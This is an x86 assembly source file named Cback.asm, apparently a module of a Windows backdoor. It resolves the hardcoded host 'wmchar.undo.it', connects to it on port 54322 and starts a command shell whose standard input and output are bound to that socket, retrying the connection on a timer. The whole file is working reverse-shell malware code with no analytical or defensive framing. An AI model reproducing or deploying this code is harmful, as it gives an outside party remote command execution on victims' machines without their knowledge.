Cback.asm

CPU 386
[BITS 32]

section .rdata

CBACK_HOST  DB  'wmchar.undo.it',0


section .text execute

%xdefine        CBACK_TIMEOUT   ((8*60)*1000)   ;8 min.
%xdefine        CBACK_CHK_CONN  (10*1000)   ;10 sec.
%xdefine        CBACK_PORT  54322



@Cback:
    mov ebp, esp
    sub esp, 0x10

%define     _WSASocket  [ebp - 4]

    push 0
    push DWORD [MTX_CBACK]
    call WaitForSingleObject
    or eax, eax
    jnz .exit

    mov esi, STR_WS2_32
    push esi
    call GetModuleHandle
    or eax, eax
    jnz .ws2

    push esi
    call LoadLibrary
    or eax, eax
    jz .exit

.ws2
    push STR_WSASocket
    push eax
    call GetProcAddress
    or eax, eax
    jz .exit

    mov _WSASocket, eax

.gethost
    push CBACK_HOST
    call gethostbyname
    or eax, eax
    jz .exit

    mov esi, [eax + 0xC]
    lodsd
    mov eax, [eax]

    xor edx, edx
    push edx
    push edx
    push eax        ;ip
    push DWORD (2 | ((((CBACK_PORT << 8) & 0xFF00) | ((CBACK_PORT >> 8) & 0xFF)) << 16)  )

    push edx
    push edx
    push edx
    push edx
    push byte 1
    push byte 2
    call DWORD _WSASocket
    xchg ebx, eax

    mov edx, esp
    push byte 0x10
    push edx
    push ebx
    call connect
    add esp, byte 0x10
    or eax, eax
    jz .createprocess

.retry
    push ebx
    call closesocket

    push byte (CBACK_TIMEOUT / CBACK_CHK_CONN)
    pop ecx

.sleep
    push ecx
    push CBACK_CHK_CONN
    call Sleep
    pop ecx
    cmp DWORD [CONNECTED], 0
    je .exit

    loop .sleep
    jmp short .gethost

.exit
    push DWORD [MTX_CBACK]
    call ReleaseMutex

    push BYTE 0
    call ExitThread


.createprocess
    push byte 0x11
    pop ecx
    mov edx, edi
    mov edi, esp
    lea esi, [edi + 0x44]
    push esi
    push edi

    push edi
    rep stosd
    pop edi

    mov byte [edi], 0x44
    inc byte [edi + 0x2c]   ;STARTF_USESHOWWINDOW
    inc byte [edi + 0x2d]   ;STARTF_USESTDHANDLES
    lea edi, [edi + 0x38]
    mov eax, ebx
    stosd
    stosd
    stosd
    mov edi, edx
    push ecx
    push ecx
    push ecx
    push eax    ;TRUE
    push ecx
    push ecx
    push STR_CMD
    push ecx
    call CreateProcess

    lodsd
    push eax
    push byte -1
    push eax
    call WaitForSingleObject

    call CloseHandle
    push DWORD [esi]
    call CloseHandle

    jmp short .retry